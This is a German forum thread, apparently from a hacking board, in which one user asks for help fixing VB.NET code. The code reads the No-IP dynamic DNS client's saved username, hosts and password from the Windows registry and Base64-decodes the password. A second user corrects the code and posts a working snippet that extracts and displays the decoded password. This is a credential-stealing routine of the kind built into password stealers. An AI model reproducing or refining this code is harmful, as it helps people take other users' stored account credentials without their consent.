Ergebnis 1 bis 5 von 5
  1. #1
    Gesperrt
    Registriert seit
    28.08.2009
    Beiträge
    354

    Standard [VB.NET] Source NO-IP Base 64 Decrypten

    Hallo an alle, ich habe hier ein Source code (Teilweise selbst geschrieben), könnte sich das jemand anschauen, wo ist hier der fehler, bzw. ich komme hier nicht klar.

    Code:

    PublicFunction NOIP() AsString
    Try
    Catch ex AsException
     
    Microsoft.Win32.
    Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Username", Nothing)
    Dim Hosts AsString = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Hosts", Nothing)
    Dim Password AsString = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Password", Nothing)
    Hosts = Hosts.Replace(
    "#,", vbNewLine)
    Hosts = Hosts.Replace(
    "|", Nothing)
    EndTry
    EndFunction

    Function DecryptBase64(ByVal Input As String) As String
    On Error Resume Next
    Dim InputByte() As Byte = System.Convert.FromBase64String(Input)
    Return System.Text.Encoding.Default.GetString(InputByte)
    Password = DecryptBase64(Password
    End Function

    EDIT: Bei mir kommt ein ERROR, was mache ich an dem code falsch, ausgelesen habe ich das richtig, aber das mit decrypten verstehe ich nicht s ganz, das kann bestimmt mir jemand erklären?




  2. #2
    Anfänger Avatar von BlackCobra
    Registriert seit
    04.08.2008
    Beiträge
    807

    Standard

    fehlt da nicht ne Klammer nach Password = DecryptBase64(Password

  3. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    Slawa (11.03.2010)

  4. #3
    Gesperrt
    Registriert seit
    28.08.2009
    Beiträge
    354

    Standard

    Zitat Zitat von BlackCobra Beitrag anzeigen
    fehlt da nicht ne Klammer nach Password = DecryptBase64(Password

    Die Klammer wurde wahrscheinlich jetzt nciht gesetzt, aber in meinem VB ist sie drinn, bei Password wird ein fehler engezeigt und bei end funktion.

    Gruß

  5. #4
    CIH-Virus Avatar von krusty
    Registriert seit
    12.10.2008
    Beiträge
    445

    Standard

    du hast totalen uatsch geschrieben.
    du setzt eden try catch block falsch.
    du hast eine funktion erstellt, die nichts zurück gibt.
    100% hardcocet, du rufst die base64 funktion in der funktion selber auf.
    Außerdem verwendest du die variable Passwort, die du in der Base64 funktion nicht deklariert hast, sondern in der NoIP fuktion, du hättest sie glubal deklarieren müssen.
    DU brauchst 2 Funktionen, bzw eine FUnktion (die DecryptBase64 funktion)
    und eine Sub, die das ganze in bewegung setzen soll.
    Die Base64 Funktion entschlüsselt das Passwort. Sie erwartet nur einen Parameter und zwa das Verschlüsselte Passwort, sie gibt dir das entschlüsselte zurück:
    Code:
    Dim EntschlüsseltesPW as string = DecryptBase64(Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\", "Password", Nothing))
    Msgbox("PW:" & EntschlüsseltesPW)
    Wobei die Base64 FUnktion nur so aussehen sollte:
    Code:
    Function DecryptBase64(ByVal Input As String) As String
    On Error Resume Next
    Dim InputByte() As Byte = System.Convert.FromBase64String(Input)
    Return System.Text.Encoding.Default.GetString(InputByte)
    End Function

  6. Folgende Benutzer haben sich für diesen Beitrag bedankt:

    Slawa (11.03.2010)

  7. #5
    Gesperrt
    Registriert seit
    28.08.2009
    Beiträge
    354

    Standard

    Kann geschlssen werden, thema erledigt, habs hinbekommen.

    Gruß

    Slawa

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •